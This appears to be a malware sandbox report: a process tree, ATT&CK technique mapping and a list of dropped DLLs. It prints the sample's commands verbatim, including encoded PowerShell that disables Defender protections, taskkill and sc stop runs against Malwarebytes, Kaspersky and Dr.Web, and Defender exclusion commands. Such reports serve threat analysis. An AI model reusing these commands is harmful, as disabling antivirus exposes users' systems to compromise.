              powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3784
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
            3⤵
              PID:5992
              • C:\Windows\system32\taskkill.exe
                taskkill /f /im MBAMService.exe
                4⤵
                • Kills process with taskkill
                PID:5924
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
              3⤵
                PID:1132
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im Malwarebytes.exe
                  4⤵
                  • Kills process with taskkill
                  PID:3128
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
                3⤵
                  PID:5592
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im MBAMTray.exe
                    4⤵
                    • Kills process with taskkill
                    PID:1820
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
                  3⤵
                    PID:4264
                    • C:\Windows\system32\taskkill.exe
                      taskkill /f /im MBAMWsc.exe
                      4⤵
                      • Kills process with taskkill
                      PID:3472
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
                    3⤵
                      PID:4088
                      • C:\Windows\system32\taskkill.exe
                        taskkill /f /im MBAM.exe
                        4⤵
                        • Kills process with taskkill
                        PID:320
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
                      3⤵
                        PID:1160
                        • C:\Windows\system32\taskkill.exe
                          taskkill /f /im mbam.exe
                          4⤵
                          • Kills process with taskkill
                          PID:640
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
                        3⤵
                          PID:1908
                          • C:\Windows\system32\taskkill.exe
                            taskkill /f /im MBAMChameleon.exe
                            4⤵
                            • Kills process with taskkill
                            PID:5668
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
                          3⤵
                            PID:4228
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1252
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "sc stop "AVP""
                            3⤵
                              PID:3940
                              • C:\Windows\system32\sc.exe
                                sc stop "AVP"
                                4⤵
                                • Launches sc.exe
                                PID:3248
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "sc stop "AVPService""
                              3⤵
                                PID:5160
                                • C:\Windows\system32\sc.exe
                                  sc stop "AVPService"
                                  4⤵
                                  • Launches sc.exe
                                  PID:6112
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "sc stop "KAV""
                                3⤵
                                  PID:2220
                                  • C:\Windows\system32\sc.exe
                                    sc stop "KAV"
                                    4⤵
                                    • Launches sc.exe
                                    PID:3416
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "sc stop "KIS""
                                  3⤵
                                    PID:5864
                                    • C:\Windows\system32\sc.exe
                                      sc stop "KIS"
                                      4⤵
                                      • Launches sc.exe
                                      PID:5228
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "sc stop "KSC""
                                    3⤵
                                      PID:2936
                                      • C:\Windows\system32\sc.exe
                                        sc stop "KSC"
                                        4⤵
                                        • Launches sc.exe
                                        PID:2052
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "sc stop "Kaspersky""
                                      3⤵
                                        PID:2756
                                        • C:\Windows\system32\sc.exe
                                          sc stop "Kaspersky"
                                          4⤵
                                          • Launches sc.exe
                                          PID:2504
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
                                        3⤵
                                          PID:4108
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /f /im avp.exe
                                            4⤵
                                            • Kills process with taskkill
                                            PID:5284
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
                                          3⤵
                                            PID:5576
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /f /im kav.exe
                                              4⤵
                                              • Kills process with taskkill
                                              PID:5140
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
                                            3⤵
                                              PID:5532
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /f /im kis.exe
                                                4⤵
                                                • Kills process with taskkill
                                                PID:4768
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
                                              3⤵
                                                PID:3640
                                                • C:\Windows\system32\taskkill.exe
                                                  taskkill /f /im ksc.exe
                                                  4⤵
                                                  • Kills process with taskkill
                                                  PID:816
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
                                                3⤵
                                                  PID:2140
                                                  • C:\Windows\system32\taskkill.exe
                                                    taskkill /f /im kaspersky.exe
                                                    4⤵
                                                    • Kills process with taskkill
                                                    PID:2296
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "sc stop "drweb""
                                                  3⤵
                                                    PID:6076
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "drweb"
                                                      4⤵
                                                      • Launches sc.exe
                                                      PID:4496
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "sc stop "dwengine""
                                                    3⤵
                                                      PID:5548
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "dwengine"
                                                        4⤵
                                                        • Launches sc.exe
                                                        PID:4924
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "sc stop "drwebservice""
                                                      3⤵
                                                        PID:4704
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "drwebservice"
                                                          4⤵
                                                          • Launches sc.exe
                                                          PID:4144
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
                                                        3⤵
                                                          PID:8
                                                          • C:\Windows\system32\taskkill.exe
                                                            taskkill /f /im drweb.exe
                                                            4⤵
                                                            • Kills process with taskkill
                                                            PID:4156
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
                                                          3⤵
                                                            PID:4640
                                                            • C:\Windows\system32\taskkill.exe
                                                              taskkill /f /im dwengine.exe
                                                              4⤵
                                                              • Kills process with taskkill
                                                              PID:932
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
                                                            3⤵
                                                              PID:5784
                                                              • C:\Windows\system32\taskkill.exe
                                                                taskkill /f /im drwebservice.exe
                                                                4⤵
                                                                • Kills process with taskkill
                                                                PID:4880
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "gpupdate /force"
                                                              3⤵
                                                                PID:4364
                                                                • C:\Windows\system32\gpupdate.exe
                                                                  gpupdate /force
                                                                  4⤵
                                                                    PID:5076
                                                                • C:\Users\Admin\AppData\Local\Temp\_temp_24ofk7vl\program1.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\_temp_24ofk7vl\program1.exe"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5016
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_24ofk7vl\program2.exe"
                                                                  3⤵
                                                                    PID:4524
                                                                    • C:\Users\Admin\AppData\Local\Temp\_temp_24ofk7vl\program2.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\_temp_24ofk7vl\program2.exe
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetThreadContext
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:4824
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                        5⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:5712
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:5340
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:6088

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Reconnaissance

                                                                    Resource Development

                                                                    Initial Access

                                                                    Execution

                                                                    Command and Scripting Interpreter

                                                                    1
                                                                    T1059

                                                                    PowerShell

                                                                    1
                                                                    T1059.001

                                                                    System Services

                                                                    1
                                                                    T1569

                                                                    Service Execution

                                                                    1
                                                                    T1569.002

                                                                    Persistence

                                                                    Create or Modify System Process

                                                                    3
                                                                    T1543

                                                                    Windows Service

                                                                    3
                                                                    T1543.003

                                                                    Privilege Escalation

                                                                    Abuse Elevation Control Mechanism

                                                                    1
                                                                    T1548

                                                                    Bypass User Account Control

                                                                    1
                                                                    T1548.002

                                                                    Create or Modify System Process

                                                                    3
                                                                    T1543

                                                                    Windows Service

                                                                    3
                                                                    T1543.003

                                                                    Defense Evasion

                                                                    Abuse Elevation Control Mechanism

                                                                    1
                                                                    T1548

                                                                    Bypass User Account Control

                                                                    1
                                                                    T1548.002

                                                                    Impair Defenses

                                                                    4
                                                                    T1562

                                                                    Disable or Modify Tools

                                                                    3
                                                                    T1562.001

                                                                    Modify Registry

                                                                    4
                                                                    T1112

                                                                    Obfuscated Files or Information

                                                                    1
                                                                    T1027

                                                                    Command Obfuscation

                                                                    1
                                                                    T1027.010

                                                                    Credential Access

                                                                    Discovery

                                                                    Query Registry

                                                                    1
                                                                    T1012

                                                                    System Information Discovery

                                                                    3
                                                                    T1082

                                                                    System Location Discovery

                                                                    1
                                                                    T1614

                                                                    System Language Discovery

                                                                    1
                                                                    T1614.001

                                                                    Lateral Movement

                                                                    Collection

                                                                    Command and Control

                                                                    Exfiltration

                                                                    Impact

                                                                    Service Stop

                                                                    1
                                                                    T1489

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    VCRUNTIME140.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\VCRUNTIME140.dll
                                                                    • Size 117KB
                                                                    • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _bz2.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\_bz2.pyd
                                                                    • Size 85KB
                                                                    • SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _ctypes.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\_ctypes.pyd
                                                                    • Size 139KB
                                                                    • SHA256 25d9b0be550d428fecc697ca20450343a7c3ce77c9f5283e9aecfd188d609250
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _lzma.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\_lzma.pyd
                                                                    • Size 157KB
                                                                    • SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    _zstd.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\_zstd.pyd
                                                                    • Size 491KB
                                                                    • SHA256 262aea62a994920daf152a10bdc0ca83a8b1c0874e71db23734862431de182c6
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-console-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-console-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 56a3c8ec50eedef1f5024696ef928cb2a0f5d8b40c8a122cba412944dae81c46
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-datetime-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-datetime-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 e91b155e01b98aa4466b94da39e04c379f2fd392c154e7b6d80c05e0476f0552
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-debug-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-debug-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 2117e4953f5ec36adff21a416db5ff5f9ff27ea5f70b71b2e7d87897979b34e1
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-errorhandling-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-errorhandling-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 ce83855b81333be8ca07a70700bff553dfb94869637dfe529bc8ef64094032be
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-fibers-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-fibers-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 5fae6d3fa0df3ac9a0171654062b6518b56bc586ab03d8a05e9cd4a112628934
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-file-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-file-l1-1-0.dll
                                                                    • Size 26KB
                                                                    • SHA256 be54476a0d4394d8ca6a5943b6425569403a1a7e939cf9b4948319b450022b45
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-file-l1-2-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-file-l1-2-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 87cd5dac0ad2c7f6d64a51c58bc6fb9f2b207fe4966dcf47dd83728b0e439a75
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-file-l2-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-file-l2-1-0.dll
                                                                    • Size 20KB
                                                                    • SHA256 f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-handle-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-handle-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 5ae3a6e15f6a47f78b59f8a24334ffc88e8de05664c4c04d6243921ecba16325
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-heap-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-heap-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 5f8dca9ec0204453ad8e31b8f36226fef8342c36d3a07b15bcece301bc7f24cd
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-interlocked-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-interlocked-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 bdad0c627f722de797917a9ebbb02acc0669c44326f64ba5fc1f8d6c2d978128
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-libraryloader-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-libraryloader-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 b17a00e4640a1d5a91c1b1ddf0465ba04ffc2ac5404e37d02b56ba7d2fabbced
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-localization-l1-2-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-localization-l1-2-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 4b5c4d32550d6ec0715c6cf651e9c1bbccb01bffa72e082a0ae04251800d43a1
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-memory-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-memory-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 47817a21044295a18907f13cd9f2705f9a21579f80fa6d3f7bf22e00607189fe
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

